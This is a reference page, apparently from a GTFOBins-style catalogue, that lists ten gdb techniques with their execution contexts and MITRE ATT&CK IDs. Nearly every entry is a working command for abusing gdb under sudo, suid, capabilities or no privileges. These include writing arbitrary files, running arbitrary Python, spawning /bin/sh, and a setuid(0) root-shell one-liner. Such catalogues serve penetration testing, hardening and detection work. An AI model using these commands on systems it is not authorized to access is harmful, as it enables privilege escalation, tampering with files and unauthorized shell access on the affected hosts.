GTFO · Tool

gdb

10 techniquesLinuxGTFOBinsGPL-3.0

file-write

File WritePrivilege EscalationLinux

gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gdb/

File WritePrivilege EscalationLinux

gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gdb/

File WriteLinux

gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/gdb/

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:python
MITRE: T1105 T1005 T1565 T1574 T1059 T1071 T1041
Refs: gtfobins.github.io/gtfobins/gdb/

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: inherit, from:python
MITRE: T1105 T1005 T1565 T1574 T1059 T1071 T1041
Refs: gtfobins.github.io/gtfobins/gdb/

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadLinux

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:python
MITRE: T1105 T1005 T1565 T1574 T1059 T1071 T1041
Refs: gtfobins.github.io/gtfobins/gdb/

ExecutionPrivilege EscalationLinux

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: capabilities
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gdb/

ExecutionPrivilege EscalationLinux

gdb -nx -ex '!/bin/sh' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gdb/

ExecutionPrivilege EscalationLinux

gdb -nx -ex '!/bin/sh' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gdb/

ExecutionLinux

gdb -nx -ex '!/bin/sh' -ex quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/gdb/